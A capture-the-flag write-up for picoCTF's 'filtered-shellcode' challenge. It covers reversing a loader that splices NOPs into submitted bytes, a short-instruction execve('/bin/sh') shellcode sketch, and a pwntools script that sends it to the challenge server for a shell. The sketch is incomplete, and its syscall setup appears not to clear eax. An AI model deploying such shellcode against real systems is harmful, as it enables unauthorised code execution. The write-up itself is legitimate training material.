Skip to main content

filtered-shellcode picoCTF 2021 Solution

The loader splices NOP bytes between yours, so build execve from one- and two-byte instructions that survive it.

Published: April 2, 2026Updated: August 25, 2026

Description

A program that reads shellcode and runs it - but before executing, it rewrites your input by inserting NOP (0x90) bytes between your instruction bytes. In effect only some of your bytes survive intact, so you must lay out your shellcode in short instructions (with the inserted NOPs falling on instruction boundaries) so it still executes correctly and spawns a shell.

Download the binary and examine how it rewrites your input before running it.

bash
wget <url>/fun
bash
chmod +x fun
bash
nc mercury.picoctf.net <PORT_FROM_INSTANCE>

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
This is a shellcoding challenge, not a buffer overflow: the program runs the bytes you provide directly, but it interleaves NOPs into them first. The Buffer Overflow Binary Exploitation guide covers the shellcode and execve("/bin/sh") fundamentals reused here.
  1. Step 1Reverse the loader to see how it mangles your shellcode
    Observation
    The binary is named 'fun' and the description says it rewrites input before executing it. So the obstacle is the transform, not a blocklist, and reversing the loader in Ghidra to find the exact NOP-insertion pattern comes before crafting any shellcode.
    Open the binary in Ghidra. main reads your shellcode and, if its length is odd, appends one NOP (0x90) to make it even. The execute function then copies your bytes into an executable buffer but inserts two NOP bytes after every two of your bytes. So in memory your shellcode becomes: [byte][byte][0x90][0x90][byte][byte][0x90][0x90]... Confirm this layout by single-stepping in GDB.
    bash
    # Ghidra: look at main (the odd-length NOP pad) and execute (the NOP interleave).
    bash
    gdb -q ./fun
    bash
    (gdb) break *<addr just before the call to execute>
    bash
    (gdb) run
    bash
    # feed an obvious marker like 'pqrst' (each a 1-byte instruction)
    bash
    (gdb) x/16bx $eax    # observe: pq 90 90 rs 90 90 t ...
    What didn't work first

    Tried: Assume the filter is a blocklist and try sending shellcode that avoids common bad bytes like 0x00 or 0x0a.

    The transform is not a blocklist; it is a byte insertion pass splicing two NOPs after every two of your bytes. Standard shellcode that only avoids null bytes still gets its opcodes split mid-instruction. Reverse the loader in Ghidra and learn the exact transform before crafting anything.

    Tried: Skip Ghidra and test in GDB by setting a breakpoint after main returns, then inspecting the buffer.

    main returns after calling execute, by which point the shellcode has already run or crashed. Put the breakpoint just before the call to execute, so you can inspect the transformed bytes in memory before the CPU reaches them. Sending printable ASCII letters as 1-byte instructions makes the NOP layout visible at that breakpoint.

    Learn more

    This is the whole gimmick: the loader does not reject bytes, it injects 0x90 (NOP) bytes between yours. After every two of your bytes, two NOPs are spliced in. A NOP does nothing and is one byte, so each pair of NOPs is just dead space the CPU slides through.

    The consequence: any instruction longer than two bytes gets torn apart, because NOPs land in the middle of its opcode and operands. Only instructions that fit in the two-byte windows survive intact. Your job is to write the whole payload out of short instructions that tolerate the inserted NOPs on their boundaries.

  2. Step 2Build the execve shellcode out of short instructions
    Observation
    The loader inserts two NOPs after every two of your bytes, so anything longer than two bytes gets split mid-opcode. The standard execve('/bin/sh') payload has to be rewritten using only 1- and 2-byte instructions, keeping every NOP insertion on a clean boundary.
    Rewrite a standard 32-bit execve('/bin/sh', 0, 0) so every instruction is short enough to survive. The problem instructions are the multi-byte pushes of the '/bin/sh' constant. Replace each 5-byte push of a 4-byte immediate with a sequence that builds the constant a byte at a time: zero the accumulator, then repeatedly shift it left one bit eight times and mov the next character into its low byte. Watch the encodings here: mov al, <char> is two bytes (B0 xx) and shl eax, 1 is two bytes (D1 E0), but shl eax, 8 is three bytes (C1 E0 08) and would itself be torn apart, so the shift has to be done one bit at a time. Where a single push is unavoidably odd-aligned, pad with one NOP yourself so the splice lands on an instruction boundary.
    bash
    ; 32-bit execve('/bin/sh', 0, 0) rebuilt from short instructions (sketch).
    ; Goal: get '/bin/sh\x00' onto the stack and into ebx without any >2-byte push.
    xor eax, eax        ; 2 bytes
    xor ecx, ecx        ; 2 bytes
    push eax            ; null terminator (1 byte) + pad with a NOP if needed
    ; build "n/sh" and "//bi" in eax one byte at a time, push each:
    xor eax, eax
    mov al, 0x68        ; 'h'  -> 2 bytes (B0 68)
    shl eax, 1          ; 2 bytes (D1 E0), repeated 8 times to move the byte up
    shl eax, 1
    shl eax, 1
    shl eax, 1
    shl eax, 1
    shl eax, 1
    shl eax, 1
    shl eax, 1
    ; ...repeat for each further character of the chunk: mov al,<char> then
    ; eight more shl eax,1; the LAST character gets its mov with no shift after it,
    ; otherwise the byte you just placed is shifted straight back out of the register.
    push eax
    ; (do the second 4-byte chunk the same way)
    mov ebx, esp        ; ebx -> "/bin/sh"
    xor ecx, ecx        ; argv = NULL
    xor edx, edx        ; envp = NULL
    mov al, 0x0b        ; sys_execve = 11
    int 0x80
    bash
    # Assemble and verify NO instruction exceeds the 2-byte window:
    python
    python3 - <<'EOF'
    from pwn import *
    context.arch = 'i386'
    context.os = 'linux'
    sc = asm(open('sc.asm').read())
    print('len', len(sc), 'hex', sc.hex())
    EOF
    What didn't work first

    Tried: Use a standard pwntools shellcraft.sh() payload and just send it directly to the service.

    shellcraft.sh() emits conventional execve shellcode with 5-byte push immediates. Splice two NOPs after every two bytes and those instructions have their opcode and operand cut across NOP boundaries, producing an illegal or unintended sequence that crashes rather than spawning a shell. Every instruction has to fit the 2-byte window.

    Tried: Try to use 3-byte instructions like 'mov byte [mem], val' or 'push word imm16' to stay under 4 bytes since only 5-byte pushes seem problematic.

    The splice lands after every two of your bytes, so even a 3-byte instruction has its third byte separated from the first two, cutting the opcode prefix off its displacement or immediate. Only 1- and 2-byte instructions survive intact. A 3-byte instruction is cut at byte 2, and the third byte is decoded as a new, usually invalid, opcode after the NOPs.

    Learn more

    A normal execve shellcode does something like push 0x68732f6e (a 5-byte instruction carrying the 4-byte string chunk "n/sh"). Five bytes cannot survive a filter that splices NOPs in every two bytes - the opcode and the immediate get cut apart.

    The fix is to construct the constant in a register byte by byte using only short instructions: xor eax, eax; then loop mov al, <byte> plus eight shl eax, 1 to shift each character into place; then a single push eax. Each of those is exactly two bytes, so the inserted NOPs land between complete instructions and do nothing. Note that the obvious shl eax, 8 is three bytes (C1 E0 08) and would be split by the splice, which is why the shift is done one bit at a time. This is the same idea as "spacing your instructions out" so the filter's insertions are harmless.

    Keep an eye on alignment: because NOPs are inserted after every two of your bytes, an odd-length instruction can shift the splice point into the next instruction. Inserting your own NOP to re-even the alignment (exactly what main does for an odd total length) keeps everything on a clean boundary.

  3. Step 3Send the shellcode and get a shell
    Observation
    The assembled shellcode uses only 1- and 2-byte instructions, which survive the NOP splice intact. Sending those raw bytes to the remote service with pwntools should trigger execve('/bin/sh') and drop an interactive shell.
    Connect to the service, send the carefully laid-out shellcode, and interact with the resulting shell to read the flag. The loader inserts the NOPs for you, so you send only your real bytes.
    python
    python3 - <<'EOF'
    from pwn import *
    
    context.arch = 'i386'
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    shellcode = asm(open('sc.asm').read())   # the short-instruction execve above
    p.send(shellcode)
    p.interactive()   # then: ls ; cat flag.txt
    EOF

    Expected output

    picoCTF{th4t_w4s_fun_...}
    What didn't work first

    Tried: Use p.sendline() instead of p.send() to send the shellcode.

    sendline() appends a newline byte after your shellcode. That extra byte shifts the total length, possibly making it odd and triggering main's odd-length NOP pad, which adds another 0x90 and can disturb the final instruction's alignment. Use p.send() so the loader gets exactly the bytes you assembled.

    Tried: Connect with nc directly and paste the shellcode as hex or ASCII rather than using pwntools to send raw bytes.

    nc in interactive mode sends characters as text, not raw binary. Paste a hex string and you transmit the ASCII codes for those digits, not the bytes they represent. The loader executes whatever raw bytes arrive, so use pwntools, or another tool that sends binary, to deliver the assembled opcodes intact.

    Learn more

    Once the (NOP-interleaved) shellcode runs execve("/bin/sh", NULL, NULL), you drop into an interactive shell. Use ls and cat flag.txt to read the flag off the server.

Interactive tools
  • Pwntools ForgeGenerate a complete pwntools exploit script from a template: ret2win, shellcode, ret2libc, ROP chain, format string, or blank scaffold. Fill the form, copy or download the .py file. Fully editable before saving.

Flag

Reveal flag

picoCTF{th4t_w4s_fun_...}

The loader inserts NOP bytes between your shellcode bytes (two NOPs after every two of yours), so multi-byte instructions get shredded. Write execve("/bin/sh") using only short (1-2 byte) instructions - build the '/bin/sh' constant byte by byte with mov al plus single-bit shl - so the inserted NOPs fall on instruction boundaries and do nothing.

Key takeaway

A shellcode filter that transforms input rather than blocking it forces the attacker to learn the exact transform and craft a payload whose meaning survives it. x86 encodes instruction length in the opcode itself, so inserting bytes at fixed intervals moves where the CPU decodes instruction boundaries and makes long instructions unreliable. The defensive principle is W^X: executable memory should not be writable and writable memory should not be executable, because a pre-execution filter is an arms race the defender does not win.

Related reading

Useful tools for Binary Exploitation

Where to go next